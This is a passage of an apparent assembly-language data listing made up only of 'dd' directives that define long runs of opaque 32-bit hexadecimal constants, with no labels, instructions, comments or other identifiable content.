91FD8700h, 8F1B8D35h, 0A5C6A0CEh, 54CA2C95h, 4A00DE10h dd 0FAB7FE59h, 2C8589AFh, 72F22071h, 1C117F15h, 802B680h dd 0CD09B179h, 2013A9F8h dd 5F596911h, 0FEFC48CEh, 23602AB4h, 39BE1814h, 26E35F51h dd 0F08846F3h, 0B8D10FBh, 8916C548h, 0FFA83889h, 0EB443A80h dd 0D34A4700h, 59572685h, 0FAD12401h, 8F6881BBh, 0A80F6DB5h dd 0E8ACF96Ah, 19916FA0h, 0E944DAB9h, 9B86088h, 1C98C78Bh dd 0D5B5B438h, 2ED21543h, 1723BDh, 0A1B51BE3h, 25A2860Fh dd 524CB791h, 5F30572Dh, 5389E4C3h, 4781C87Ch, 6073C357h dd 0D593F716h, 0A6A9CF29h, 0D01818F1h, 1D478400h, 0E9CA033Ah dd 0FFF23860h, 40C0E8A6h, 0EAFEC251h, 86D6B601h, 97C1AD84h dd 0EF97C30h, 0BD8963FDh, 0A8E7342Ah, 0C18B2917h, 1814D1A0h dd 0AE93372h, 3588B113h, 0A026362Dh, 7C0A8966h, 0FA68D1EBh dd 2A1326h, 0A2ACF953h, 0DE6F3019h, 0E4E80101h, 3880F7Ah dd 2E587573h, 1EA98508h, 0E59D3104h, 0BE91691h, 0F0532980h dd 8A76DF5Ah, 0DB0034ECh, 509030C2h, 55CBF52h, 0F5F2D18h dd 0FAE00331h, 90F0585Ah, 43C708E9h, 24A0401Eh, 692D1D60h dd 509DC84Eh, 0CF8B1411h, 232D2582h, 0C909CC08h, 0BFDA101Ch dd 0FDAA18B2h, 0F5CFD64Bh, 129D1649h, 0A32134E1h, 83000961h dd 310C05C0h, 122835B5h, 94BF0E57h, 87F29E3Ah, 251982ACh dd 5B37C74Ah, 68E92189h, 536F00h, 0AC44508Bh, 0B0CF308h dd 0C91A2A79h, 37648480h, 58AF80F3h, 0EFBA9FDDh, 113D8CA0h dd 7F286081h, 978E7C80h, 4D180D96h, 0BF9663CBh, 35614CD0h dd 3207F11Ah, 7D804035h, 0BBDFB591h, 9D525033h, 0ACDD4C4Bh dd 0A36A9D0Ah, 0C89426C5h, 0E0ED1EC5h, 3BD3FF29h, 0A8181571h dd 85FFDA0Dh, 0BA3B4BD9h, 0B529E121h, 67242CF1h, 0E80840B4h dd 5D021FDCh, 48D9ED81h, 0EDBD0313h, 0C6CE9A57h, 4E0C0B21h dd 40212D0h, 0CF018578h, 0C0168870h, 603DF62Ah, 39F78000h dd 0EF8161F5h, 4AE40372h, 119D8B0Dh, 88B2CF8Dh, 59C6C31Dh dd 82FE8A8h, 0C8A27C1Eh, 1AE3818Eh, 915E9DB6h, 38308118h dd 0B0743A69h, 0DB054421h, 0B0850F1Ah, 444BC72Dh, 58546614h dd 9CC761F7h, 1F73808Eh, 2613BD83h, 5ED316F4h, 8125003Ah dd 0CD59D4C6h, 8D158907h, 34F12A25h, 0DFDB8D75h, 4FA400DFh dd 5133E218h, 5B99ECCCh, 85C7285Fh, 5AD9947h, 120A810Fh dd 0D111A06h, 0E5E97D83h, 91432D93h, 3015A2E7h, 0ED9C3650h dd 0DC41F214h, 8DF92422h, 8150601Ah, 660E23D6h, 0FD5F241Dh dd 5CFEFF8Eh, 46749CECh, 8C75001Dh, 0DB027B37h, 0E34116C0h dd 4843128Dh, 660F14A8h, 9E04F28Ch, 0F60A2BA1h, 53D920A6h dd 1CF28069h, 0CDE6D033h, 0D7010C67h, 95CA3558h, 0D121112Eh dd 706002F6h, 0A288CCDFh, 1B7976C0h, 42FE9081h, 8FFA4245h dd 600E316Bh, 616E76B6h, 12BF9020h, 663B5CE4h, 2204ADE9h dd 50509A5h, 0C8AACEB0h, 78FFC018h, 0E6EED599h, 0E26E7052h dd 6A5D301Ch, 0F404FEF8h, 0BCD83F8Eh, 0E4F6EEC0h, 19A6C471h dd 0B6DF1E11h, 4674D8E4h, 8F2E031Dh, 80F6F79Bh, 12AAE458h dd 7E06BABDh, 0E11000BCh, 5AA43191h, 5C39F18Bh, 6A2DC5B8h dd 374B105Ch, 0F7930054h, 50AA59DEh, 3900BC6Dh, 0B92185E4h dd 532D40h, 8B60FDC1h, 0FBB70FC2h, 0E8176179h, 90B0304h dd 1189013h, 0F7668015h, 0C08CE25Ch, 0B97AE6ABh, 753A006Bh dd 0B1197E41h, 8912D82Bh, 2E56A19Dh, 90E89309h, 0FE16A915h dd 0C08F014Dh, 2A7BDF75h, 1C1D605Eh, 0E8952448h, 10098C17h dd 82B0236Bh, 234B187h, 61C4B5FFh, 2D602B8Dh, 0B945DCB4h dd 1DE09E1Fh, 33F4C131h, 20FD880Dh, 4EEDA9C9h, 0C01A8833h dd 0C86BF776h, 0C635B228h, 13F5BD12h, 0DAE8A722h, 0EE230081h dd 0A5C65157h, 0D51EED48h, 0A1443E7Fh, 9B855EE5h, 0A184C7DBh dd 0C8A252h, 404A42B3h, 9E5B4D4h, 5E987D16h, 0B589A101h dd 3CE9501Dh, 83120F61h, 7C3E028Eh, 0BA001A23h, 295E258Eh dd 666A02B8h, 1DA2DE81h, 8589D048h, 53C8095Dh, 7F602CB1h dd 0E28C0400h, 70952B38h, 216181D9h, 0B8CE399Eh, 0B3BE668h dd 6C9B50Bh, 26D780A0h, 5F49EB8Eh, 0A2AF438Ah, 73BB3019h dd 20EC0300h, 25DF816Ah, 33CB2452h, 995A6A5h, 9702E6A0h dd 9F0A1161h, 90583623h, 0A8DA0992h, 0E80238FFh, 0CD9D58F0h dd 0D6851511h, 0F3B50019h, 3CF85228h, 373B0AB3h, 61060B8Eh dd 0E288FEB0h, 8141BC01h, 0B96079D6h, 0F2806307h, 20453114h dd 1240AD87h, 35C14883h, 1C8C18ECh, 2F07919h, 65BD2992h dd 0B696F658h, 0FD93B00h, 0A7012886h, 601B4456h, 289E3633h dd 4CF4C853h, 0AFC0C40Eh, 0CA892D06h, 49DF1300h, 6D289A93h dd 9EA505C4h, 1621AAC0h, 0D92400D5h, 1B8560BEh, 0F7811E00h dd 520444A4h, 29C15DF6h, 309FB627h, 0B1831A11h, 4BB0523Ch dd 27BB2D8Ch, 0AC7C5B15h, 98A37196h, 86DC0FE0h, 9B522BB2h dd 3D648185h, 352D0834h, 0F21F4135h, 4E9C2E41h, 0D17B7C00h dd 752960ACh, 1BE9A9Dh, 61C4F580h, 0AC43E95Fh, 0F4DE2331h dd 7F710022h, 535E4FBAh, 0C04B8B88h, 8B1CCE6Eh, 0D808B040h dd 0CD4E85C7h, 7DFBC01h, 8C265AFEh, 890FD5F0h, 0BC701F5Eh dd 17E4F892h, 0EF03D24Ah, 33568800h, 3FE37C57h, 53061F5Eh dd 318A0F2Eh, 0DCD25FE0h, 1415ED04h, 8586FCB6h, 0FC3B332Dh dd 2321B5FFh, 68E09EE6h, 0B500E3A9h, 0B8125759h, 79F9608Dh dd 0C42CA7FFh, 0DC306718h, 0B101F18Ah, 0A7174BCBh, 35801911h dd 1B023BDFh, 2F140A4Dh, 1D4B790h, 0BD894D29h, 904DF7FDh dd 78BC96h, 2FAA6E4Ah, 0BD01387Ah, 501AC133h, 739A98BEh dd 0D1BC9108h, 62181Bh, 727DE0DBh, 292EC731h, 9858D2Dh dd 0C05C4D2Fh, 9227070Dh, 26655705h, 4FE632B7h, 3360A7E0h dd 25498D19h, 0F761898Eh, 99C3EB14h, 8107D42Dh, 0CBEF20EBh dd 605A6159h, 899A3520h, 85E079h, 0B4A89935h, 261BDE69h dd 8B431D06h, 0B51BDB5h, 30D8BB66h, 9D46238Fh, 6058162Fh dd 23D70C67h, 6435726Ah, 85BD7F19h, 0E93C90C3h, 0FF71F753h dd 7D5F2B7Ch, 8BFCE902h, 2563E0C1h, 0AD07820Ch, 182D389Dh dd 0B18B0F72h, 6D4231AEh, 0E824A317h, 239A678h, 3E2EFE1Eh dd 6FD91FF0h, 12A5F2B2h, 197BA5C0h, 511264B6h, 38C13688h dd 0B500C90Bh, 0A26B41F8h, 3D011FADh, 5E5F3ECEh, 726C310Fh dd 4A126158h, 7DBDE04Eh, 895D0A50h, 1AC98D14h, 0BAD8408h dd 0C1329419h, 0F2C36417h, 561B45B6h, 22CA226h, 0A4C6905Eh dd 2297FA01h, 157D5512h, 2726CCh, 36162C4Bh, 2057A75Bh dd 5041AF0Ah, 0DA0F1AE8h, 9FBA4013h, 0DDBBB1h, 3428AB30h dd 0C620F8DEh, 226D460Bh, 0D46440h, 11758AC8h, 73B89833h dd 0E56084CAh, 91950B02h, 0D2610610h, 0DC2196h, 1468CADCh dd 0EA5FBCABh, 4AC7BFFEh, 0AD08870Fh, 9E97463Ah, 0BE801D11h dd 192EF322h, 0D1910104h, 6D817FEAh, 0A30523A5h, 60E2404Ah dd 0D3FF3C17h, 0CF805CDBh, 3DB0BE66h, 266845B6h, 417465Ch dd 2BD4F58Ch, 5C6D0583h, 0C43D2AAFh, 0CE1BE916h, 283C2463h dd 60B3F065h, 356B6DC8h, 8B9F8252h, 3C6A399Dh, 271B853h dd 41012530h, 0D04F690Fh, 8C1BA828h, 0E513AFF4h, 45F1A7BFh dd 20F9F301h, 0A8CD526Ch, 0B88F2933h, 0C6F30C5Ah, 72170DE9h dd 861AFE00h, 6F8938D0h, 734FC78h, 0BD835E69h, 5A64FB98h dd 0B604944h, 1B0D8503h, 3FB052CEh, 20A9D155h, 719481A6h dd 1C467Ch, 2ABBD854h, 2801C09Bh, 20881A7Ah, 23762B81h dd 5616B15Ah, 0D1ACC81Ah dd 6004A469h, 0D66AB7EEh, 0F64F420Fh, 1B35AC48h, 898D1531h dd 299C2201h, 181DD95Ch, 725E00CCh, 0B1A3EC54h, 6B24BCF7h dd 2C69368Dh, 0F1C9CC93h, 1F6FA305h, 28169D09h, 202F48C9h dd 7E155CD9h, 6A1DE9B0h, 0FBC003AAh, 9DF3275Eh, 0C82D0B1Fh dd 5A64BE34h, 0C02C5345h, 15941E20h, 2DF1846Dh, 8A0F9000h dd 80EC9AA4h, 0AE0D026Ch, 0E3905650h, 7264DAF0h, 96593202h dd 7417FA4Fh, 0B53361AEh, 0E90A74D9h, 0BE5D81E3h, 729B580Fh dd 11229C3Ch, 922C0700h, 6EE40C3Eh, 53C700DCh, 0C87E0EA3h dd 0E91359AFh, 0A1C5F98Bh, 5A8068DBh, 9CB096C0h, 0B150DE05h dd 0F6817D86h, 0E4011621h, 0F0166671h, 1691B77h, 19F4A6Bh dd 3BA017DFh, 9286A913h, 25F35B0Ch, 0E073B640h, 18023BBh dd 9E2DE5Eh, 9C3F4847h, 0CEBFF85Ah, 1189469Bh, 6388A618h dd 3E69D402h, 784CA399h, 915AA0A8h, 0E2F7880Fh, 0A927ABB8h dd 0C283AF31h, 0E193F8BFh, 0A0D25E4Fh, 9C97E429h, 848B1D37h dd 9D014210h, 0FCD306C5h, 171918B1h, 0B0AA214h, 0CC45B509h dd 5612945Ah, 22001B46h, 9C91D2A0h, 0E84860E9h, 7A545A99h dd 0EF9B4F27h, 0A560DC80h, 28758822h, 616B83B0h, 39A244CFh dd 0FD00B01Dh, 0DFEA313Fh, 972BC6h, 0BE615966h, 8F08285Fh dd 60710F94h, 0D3C03FB6h, 6115E8C9h, 4C90DFB4h, 18A854D0h dd 0CDBD058Ch, 0C114102Ch, 28015DFDh, 0DCB1842Bh, 0E08C5195h dd 0BE9F3F01h, 0FEC428h, 0BA0FFE61h, 0A24D1AFFh, 85F3AF04h dd 6795DB06h, 1DB2D7F3h, 9873A630h, 90E7C27h, 111786FBh dd 0BBE6400h, 1E4978B0h, 0A16E4E40h, 0A61F5000h, 69F162DFh dd 108F0F25h, 890C8CE3h, 5A3DE9h, 177FC4CFh, 928EDB40h dd 0E5565374h, 0AC80B23Eh, 7FA13104h, 0B848EE6Ah, 0E2E1C074h dd 453BEA2h, 5E180768h, 0E68D845Fh, 0AF12E06Dh, 5E8A00A3h dd 0EE4AC20h, 8926BD01h, 9D4AEC17h, 5864763Bh, 0E84A11DAh dd 0A4B80048h, 0D73A3D33h, 0B6170B2Eh, 2D25E96h, 0FDE42923h dd 11048B81h, 0C5D8BE66h, 6FC15E83h, 1FFB161Ah, 0DE3DAAC9h dd 7931E728h, 0D1E3998Ch, 57F8191Ah, 95390BBFh, 0B944567Ah dd 1BF29343h, 113A30h, 0A1D0C50Ah, 8D0F84E8h, 0DED618B5h dd 0B09F595Ah, 0F9D7809Eh, 30469DBh, 7559BD2Ch, 0B4045B92h dd 29020D4Dh, 6BEBAD9Dh, 0E189C399h, 3D0D7571h, 6F338DA4h dd 30B8C22Dh, 595CECA2h, 21B6962h, 15E62CE9h, 2C196120h dd 8D0C08Bh, 34242FB1h, 184B1C24h, 0FA814Ah, 0F933A049h dd 3520DD2Bh, 0A6F45600h, 0DE1B36D6h, 43A85A15h, 0FDB5899Dh dd 4AB9DD58h, 0F91BF890h, 893D26F1h, 400A14EDh, 0B6BC6849h dd 2D02263Dh, 4C821E5Fh, 1AFC4C34h, 9766018Ch, 0BF883F3Eh dd 25112F20h, 0A9344FE6h, 12D9F20Eh, 0DAD661A2h, 0A21280E4h dd 2DDB9BBFh, 8B3A6802h, 0A850B17Bh, 473E097h, 0E1B52BB6h dd 51900B1Ch, 9EC303CCh, 8FA17696h, 5B0ED4E6h, 0F5289F12h dd 0B2E0C2A6h, 0E0481170h, 324D122Ah, 0C4909127h, 13662460h dd 8E69CBFh, 224C0B34h, 0A7F6501Fh, 412441CDh, 205E553h dd 0FC244E8h, 0E3F93BCCh, 15B523C1h, 7DE9042Ah, 0ABE7E11Dh dd 0D66A78BEh, 7585010Ch, 4F9D8131h, 6E88177Dh, 0A980008Bh dd 2318468Bh, 6321044Fh, 0A1CD9529h, 99C903D2h, 0BFF5009Ch dd 4804D44Eh, 82428F72h, 8A0F6009h, 8D09E710h, 4F1FA528h dd 7A236120h, 0AE78F1B5h, 758AC193h, 0E80A6D0Ah, 0C9550046h dd 0C1DD127Ah, 0E90E7C27h, 32FFF81Bh, 1A23D83Ah, 0E11D4C00h dd 4AFB3214h, 9CD2C8ADh, 67806200h, 4D74549Ah, 29CCC4CCh dd 0C18B0430h, 5BE093A6h, 0CD005562h, 4559A3D4h, 4BEB01BBh dd 23FC3F04h, 4ADA0118h, 6943FBC8h, 187B8F7h, 7280E7EFh dd 446E1AD6h, 3ED189F7h, 86F6C67h, 0F1C12507h, 0F78B1102h dd 5EF133Eh, 0A72E37D0h, 6B68A06Eh, 0A023019Bh, 3F69A70Dh dd 27027ACDh, 76D9BD29h, 965B49EEh, 0E3F82971h, 16A01746h dd 439B202h, 6170A19h, 3FE2EBF6h, 919B3FD8h, 0AA21AD79h dd 18941A06h, 0A6050F9h, 0AEAB61DAh, 8AD1F1DBh, 5185ECD9h dd 2420015Bh, 3B39DDBFh, 29DA47C9h, 0B06566FEh, 0C254FC7h dd 0A87921C5h, 3CB8C876h, 2810644h, 0F8D0B5D6h, 5DB6137h dd 3D2CBE04h, 23A62E24h, 795A0616h, 2BA0FCF3h, 1B9AF18Dh dd 0BF600CB4h, 168AFAD4h, 8E1DE948h, 0E9232AE7h, 68F91FA1h dd 17CF1E7h, 25307A2Eh, 0B14F9023h, 3D1B00ABh, 48E8C592h dd 0F90050D6h, 0B4EF9E5Ah, 5293C96h, 9D8BEE1Eh, 1B50E1D5h dd 4DFBC291h, 0ADD44079h, 0E802B629h, 11E90B9Ah, 834ADF46h dd 98C068DEh, 0CBEA6513h, 0F8BCF60Bh, 0EF90001Eh, 0B838FFAh dd 17087BBDh, 4FACD84Bh, 0A2B5AB89h, 0F95EE9BAh, 0BD0B4155h dd 80BE609h, 0C93724CBh, 70BC5309h, 18035DEAh, 0E9D27D80h dd 811D0122h, 0A2A8F0E7h, 0C2364960h, 0C800F21h, 0A6D80657h dd 0B381158Ah, 0ADDD8D2Bh, 0F94274EDh, 8659CDh, 0CAFA384Bh dd 8E2E6E26h, 45085151h, 0F75E132Ah, 0E16A5B3Eh, 0B7297704h dd 9619C3BFh, 31FC2C99h, 13E54478h, 0F6F6C47Ch, 65C7E25Bh dd 58BE80D7h, 32FAD8Bh, 0E65B513h, 6B3568F6h, 0E27DB643h dd 0EB607EEFh, 59508C7Bh, 90D77358h, 514D019Ah, 5790F8DCh dd 155EFE5Eh, 0FC716140h, 0B7140424h, 0E8830F40h, 4085885Eh dd 0B589905Fh, 0E90D74B9h, 85EC8FEAh, 5EA6BA41h, 0C9C8DBB0h dd 0D7A88072h, 1270E612h, 471E4F5h, 0FC160513h, 248B8F44h dd 74ED1749h, 8131C094h, 2AC38B29h, 5DE17084h, 0D0E7DE76h dd 0C7E1AE2Ah, 129D46B0h, 2BCC4040h, 0DC0EBED8h, 7B674702h dd 44E86093h, 689500C1h, 92254A69h, 0B203705Dh, 57C7628Dh dd 8E0F8959h, 0FE009766h, 29935061h, 2E69BDB5h, 590673F2h dd 0A4181Ch, 0E6C86F19h, 1D73FD89h, 0C58D2915h, 0B5A550F5h dd 0BA0B612Dh, 0B94BB70Dh, 0E23F9880h, 180A92A0h, 6EADD750h dd 0D168A662h, 44E87C25h, 0E75E4110h, 5CFC0B49h, 5320086h dd 617C9D3Eh, 0DD5FCAFBh, 82649237h, 27455B8Dh, 2B123A82h dd 44EACDC4h, 0EC00B77Fh, 55745CFFh, 48F145EFh, 0F1473ECAh dd 6D35B5A1h, 0AD59211Ah, 0CE4000CDh, 12BF9193h, 0E0989288h dd 0AF24E7AFh, 37AD86F6h, 69160099h, 97880758h, 0BE687096h dd 0AD294112h, 0A940A221h, 125CF781h, 5373169Ah, 270B6FACh dd 4254C2B6h, 2D66D923h, 2EC593EDh, 8EEE8902h, 0F27DE13Fh dd 0B829CD20h, 4A1D5A16h, 447181CDh, 3B6DB145h, 0D3FCC474h dd 939A4480h, 5A02ECBDh, 8BCB15D3h, 8FD2D048h, 0B2862E6h dd 45BDF7C0h, 0D1891F4Fh, 80806E68h, 2EF1E1F0h, 4D30CF06h dd 0BE0F9D0h, 5F8E45DEh, 12FDF48h, 17F170B9h, 1C160D18h dd 0FE84635Ah, 1DE0D3F6h, 0BF2CD2AEh, 0F90B7C0Ah, 0CE7E68E9h dd 4BD000CFh, 0CCA841B7h, 9401B863h, 428D9235h, 156C8514h dd 0FEA8A288h, 7717592Ch, 40E5ED52h, 0CD25471Ch, 424A87FAh dd 0EF0CF4E7h, 8D44A22Ch, 1F90455Ah, 0B6F78BC3h, 0CF55C502h dd 0C01CC8CAh, 333D02FDh, 62356401h, 8F0FE99Fh, 0F33DE236h dd 0F6EF4C2Dh, 78923D62h, 351C5AD7h, 0A8A7ADE4h, 0E4380585h dd 8110498Ah, 91DADA3h, 0DB2AD8C9h, 257B8047h, 2107479h dd 8D09CD6Ch, 0C7020EB5h, 80D35685h, 7E0D5DF7h, 0D9285FBFh dd 0C04D8E15h, 0FBCD1673h, 0D222DCFh, 9D82F550h, 0C74345Bh dd 372089D9h, 5E658A11h dd 6B58E42Bh, 95CC50E7h, 902A404Dh, 926C3294h, 3100E1B9h dd 2FEBD995h, 5B3E7F7Ah, 0D359C600h, 0B5BF08C9h, 4AA2791Eh dd 3C54E6C3h, 0D13A9DADh, 46021723h, 74A1AEEAh, 22CF25A4h dd 3EB3E160h, 808B12A3h, 0B91F1036h, 7B25DD17h, 9F5C0F11h dd 7551A023h, 12C8F836h, 57ED9589h, 0E04CB64Eh, 2F8BE18Ah dd 0AD10237Eh, 3A09EC9Dh, 806CB6C0h, 0D3491FB0h, 0EEDE2EB2h dd 0F37B698Ah, 35732671h, 0B8D62000h, 622B7811h, 46F64501h dd 8BE7F49Dh, 0B414A030h, 19E814EEh, 534D8503h, 0F1C872E1h dd 0A509A902h, 89EBABA1h, 55F0960h, 32405F60h, 1D69950Eh dd 82493EBCh, 0E1C85082h, 5740DB59h, 0E9B41F09h, 6D9D09BCh dd 0A8ADF31Bh, 0C4CE16BDh, 0E01CE6B9h, 2F7C780h, 0BD337F02h dd 810010D9h, 2D7BA4CFh, 0B21A77BAh, 35F9FC40h, 8A605009h dd 4279DCh, 0F8D7217Bh, 0C800AE73h, 65B218FFh, 3A155953h dd 8B1D6949h, 1727EDCEh, 0F5B0890Fh, 8C92E1C6h, 0C0A34D97h dd 4ED891D6h, 0A14FE690h, 8E9EED4h, 0FA7273BCh, 13EFFAC1h dd 0E1430617h, 113AC7Dh, 0FE8BC7F0h, 4DAC684Dh, 4E6BC09h dd 65B5899Ah, 56500729h, 0DE88B72Fh, 0F6620902h, 49F9F4C5h dd 0A1826228h, 5DCE1FEh, 0FB057148h, 0B7C0C1EEh, 29E028FAh dd 0D125991Eh, 0A8C70059h, 9016142h, 75C32400h, 412D0E50h dd 0AFE62546h, 3CD1965Bh, 3C1026Ch, 3E1279BDh, 939BDB74h dd 0C4912AC0h, 29E2BFC9h, 0FF70BA0Eh, 3995A2D3h, 0A0D5D335h dd 2CB920C0h, 7CCE916h, 0F924D68Bh, 0BCB7AF03h, 0AFBB7B01h dd 0E038CAF2h, 58384980h, 0A12C27ECh, 19083B95h, 0CF9E2F28h dd 19A8610h, 248C15F8h, 3E0E14Ah, 9D8B7DABh, 2D36A8D4h dd 0BDCF29FCh, 37F18028h, 3C8C0C46h, 0DA5F7F3Bh, 0A5D6ED48h dd 0C681B246h, 8300DED9h, 0B41245BDh, 0BA4444D0h, 93015D7Bh dd 8975A47Ah, 8F972B85h, 46EA8D64h, 31B7E9D3h, 39A219B5h dd 0E82DF6C8h, 8636008Bh, 0EE9B08E4h, 7FB8459Fh, 92095182h dd 8CD064F3h, 879D00EBh, 0E4C2C7E5h, 8506FBBFh, 6CE927DCh dd 44A8AF28h, 80A9BC01h, 0FC221182h, 0A73E16CFh, 0F30B340h dd 4019BFF7h, 0B06591CDh, 2E280EB5h, 0ED8E1AC0h, 1A6743E7h dd 8F124E79h, 0C318887Ah, 5F8908ABh, 44EC2146h, 5B7ABE39h dd 10F0E909h, 0F5F65A82h, 0E8933FD9h, 0DDC20490h, 0FD7200F1h dd 1DBF5B6Eh, 0F82D1022h, 0FC24855Eh, 632EF5A2h, 0B200FCA1h dd 8A5F9C3Fh, 6EEA97F2h, 9C19A05h, 3F110D85h, 4FF32A28h dd 0FB20D850h, 34BBE59Ah, 0DD300371h, 0E91640DDh, 0BD97EF79h dd 0F0D91383h, 9AC2B0C0h, 762361B5h, 0D69168F3h, 18C153Ah dd 0DB13866Fh, 27FEC93h, 619BDB2h, 0DB53B255h, 61C501Eh dd 0CE01CC00h, 5A77361Ah, 9F92B86Ch, 0F1CE492Ch, 31478A9Eh dd 0ECBE4BEBh, 591027E8h, 8E1E4E0Fh, 208DBDC4h, 0C04A71F2h dd 2B70E7B3h, 8ADBD84Bh, 4F01AF80h, 9B01533Fh, 0A9BE934Bh dd 50F9E82Ah, 0AD819D9h, 2F4BF90Fh, 12C01788h, 0C4BB19D8h dd 0B70E55BCh, 0BB0924A4h, 0A4DC3112h, 21875B0Fh, 3C318DC4h dd 1BFF41B1h, 7B96C0C8h, 4059753h, 39621781h, 530BB12h dd 4119B529h, 142A451Fh, 0A94D0836h, 82047ABDh, 0BB823739h dd 43DED2FFh, 0CD6A5E6Dh, 37621D00h, 23AB0701h, 2135BD12h dd 1FF95475h, 9A018BA8h, 867350B0h, 9C2F345Fh, 5291F7CEh dd 0E0196D25h, 0A67D2C48h, 0F68E8D01h, 5E63EF81h, 203A6BD5h dd 3CA995Ah, 0B261F500h, 5E123514h, 85974838h, 1496E5Ah dd 694095DFh, 0B661A0D2h, 0A6230EE9h, 773DA055h, 0C1FFC1B9h dd 58BA20CBh, 2D6D2948h, 7A00981Dh, 6F2EE101h, 62F200E1h dd 99C23A06h, 0C6E1125Fh, 1D4F04B5h, 1B891601h, 0C5F2132Ah dd 589D81FAh, 35E969F8h, 1BD8538h, 95E0C4B9h, 520EB4Eh dd 0B6A156h, 83D55993h, 6FD9AB5Fh, 93C082Dh, 69CA02FBh dd 0C8E4090Ch, 8133BF45h, 9ECC3500h, 0DF8B1069h, 0FAFBB102h dd 0D98E0F2Bh, 354988A9h, 0B8E95F12h, 128C15ACh, 1C53C4D1h dd 570A5902h, 126E6F5Bh, 8EADAB07h, 0CDC920D6h, 174AD880h dd 87949A20h, 1FA31872h, 0BDB5E093h, 5E0F299Ah, 2E0BC32Bh dd 11F27311h, 0DE5AF89Fh, 0B0DA8004h, 26EDE810h, 659B3CE9h dd 8BC84415h, 0B88EE9C0h, 3EB209F3h, 47449B2Ch, 24494600h dd 0CDEAAF03h, 0B5E01EA3h, 167B2658h, 0A9F2857Eh, 0EB61AD3Bh dd 5D0F412Bh, 447DC217h, 0A6D1E5DBh, 0CB3824C6h, 85C690F6h dd 0DE9E790Eh, 59BC5665h, 5E591C20h, 730B9242h, 903F30F1h dd 82C61D81h, 6F3A1356h, 4CA52E7Bh, 355E5907h, 0E9B501F1h dd 0BA51E024h, 0EB20FBC5h, 256D9CA5h, 0FCBA0CDh, 0BCE2B2EBh dd 0C1198923h, 0A441FC5Dh, 0F80223B9h, 9DC5F56h, 108923D2h dd 4012DC84h, 0CEF6DDF9h, 0BB780001h, 891BD70Ah, 0BA003E98h dd 30C7B338h, 14A784BEh, 0E0523F74h, 77E8852Ah, 5BF3595Eh dd 8501F8BCh, 2B3F97FDh, 0B62065ABh, 44245BC5h, 0AD1F51CEh dd 0A0E85Dh, 0BCC825A8h, 0CB2848CAh, 0A07960CAh, 0B313FC92h dd 0B718AEC6h, 0C60F3829h, 1D74C109h, 0BD1A02DCh, 6B3C38EDh dd 3DB5A0D0h, 0F534807Ah, 4A9752ECh, 8975030Fh, 2514299Dh dd 1DF38078h, 1D37FB25h, 0EA5DDC00h, 54680D93h, 9F0BC1F1h dd 87377B3Ah, 0B90E15ACh, 90A6A0FFh, 12CCBA60h, 87756A2h dd 0F0A50272h, 9050248Ah, 0DB7FDE69h, 401B7009h, 787E536Ah dd 8A0483EAh, 0CDB5893Eh, 0E7810590h, 182D1A38h, 0CE60564Ch dd 8CA07EBCh, 174C1D86h, 0BD090449h, 89491471h, 0EF1A5B04h dd 81660A20h, 0DB4500DFh, 0E1D9BF50h, 219F15EEh, 351DBD66h dd 2501B148h, 97E3D185h, 0BC28ADC4h, 38D42E64h, 83E52F61h dd 491FA1A4h, 4C5E51E5h, 691734A8h, 0D76FD3FFh, 96EE6002h dd 75D4BD46h, 26168908h, 734C60AEh, 6900D8C2h, 0B8BE469Ah dd 5A31C987h, 8497645Fh, 0E98C45FAh, 8497A361h, 6B251D90h dd 9506004Eh, 5F5851B1h, 7EFC3BBFh, 8A1E302Dh, 100415E1h dd 8B0104EDh, 7A05F99Dh, 0DACED741h, 24975624h, 0F35224FDh dd 9CBE037Bh, 4E56CF4Bh, 0E4A55D54h, 0B4011EBBh, 5C6AF433h dd 0F3B70284h, 1BE5BD83h, 4252317Ch, 3186465h, 0FAC9D53Fh dd 4BDB26C1h, 85091704h, 0B3A91949h, 34E64869h, 21105ABEh dd 1430E91Ah, 81403775h, 58317D19h, 0C23549BFh, 0F18D2921h dd 0A0423F23h, 80269B4Ah, 0DD0DA6FDh, 0B55EE22h, 15F59529h dd 4EA6EAFBh, 40194674h, 4C146BC3h, 9EF75AAh, 0E2616AF6h dd 0DC79F4F0h, 3746201h, 88A82DFFh, 0F270C43Eh, 2D3E3414h dd 0CA6EFEh, 2B1B69EBh, 25FF0CE7h, 0B91A53BCh, 90FB8EC0h dd 512D6198h, 0DACAC0AFh, 0FE41F5ACh, 99130ED9h, 6420796Fh dd 5FFEB0DDh, 0D49AE71Dh, 29B577h, 210316D3h, 6C090DCFh dd 46B57B8h, 9ED15195h, 237671E4h, 0CFDBDFF0h, 0AF9BA706h dd 27B0F6D2h, 0AA3234F1h, 0D44BFCh, 0CCE5EAF7h, 455BFC2Eh dd 899D3113h, 57CFA4A9h, 951D9544h, 0C387823Ch, 0DCC4DCh dd 231EE4BCh, 0F825B075h, 32770097h, 918A0FC6h, 134E3ED6h dd 0B860F97Eh, 0CC56099Dh, 9EC06171h, 0B606B5BEh, 0D82B6F7Ah dd 23C920CAh, 24E1504Eh, 4BE1BDF0h, 259E8A04h, 2B71AF3h dd 7C164DE6h, 50867EF5h, 0CD3E3504h, 8BE114AFh, 0BD09E238h dd 133211C5h, 5A505EDBh, 0CC449757h, 0B6BF6E1Fh, 9439700h dd 0B3A326h, 870BE740h dd 199B523h, 0F58CE8ABh, 2B02F9FBh, 208979DEh, 1B10367Ch dd 6F5DE558h, 0EC2824Ah, 0B597584Eh, 69840072h, 7A8D5A8Eh dd 4B511E48h, 0A4DC24DEh, 582083Ch, 0B722BE81h, 143F7E84h dd 344B7436h, 0E1DAC2F8h, 51A90E4Ah, 0E500653Dh, 478F0A23h dd 0D4EF273Eh, 25CEFEE1h, 41C34159h, 0C3290215h, 0DBF5AC5Ch dd 42D5203Ah, 6800A4CFh, 0FD6B8A3Eh, 0B0B5876Dh, 2725094Bh dd 0F3EA4345h, 89CFCC0Bh, 85310B40h, 60234FFDh, 0C183F5EAh dd 822F3795h, 84FB2B2Fh, 0CE7003D2h, 0A9845D82h, 0D8841314h dd 31C06EDBh, 0DF109D4Ah, 0D0CAAC5Fh, 12C02758h, 0DE401C2h dd 93282359h, 0DA01EBA2h, 29BC7D12h, 18C0CC9Eh, 83748D73h dd 0AFB4B604h, 409B5B15h, 0C1A778C5h, 312398Ch, 299BD42Bh dd 0CA5CB5C0h, 0E32CE7E8h, 5628C4DBh, 94163927h, 316C80E1h dd 295D328Dh, 290EEFh, 2005FDC8h, 0C08B3C15h, 0BA6CF02h dd 997A3D44h, 27DC8CBCh, 0CDF052C4h, 0D7825FBEh, 7515F05Bh dd 0B30D9637h, 6E7BA256h, 954C0532h, 1C0593Fh, 0B28FEB96h dd 9BCE646h, 3111BD03h, 489ADEEDh, 0DCC5F44Fh, 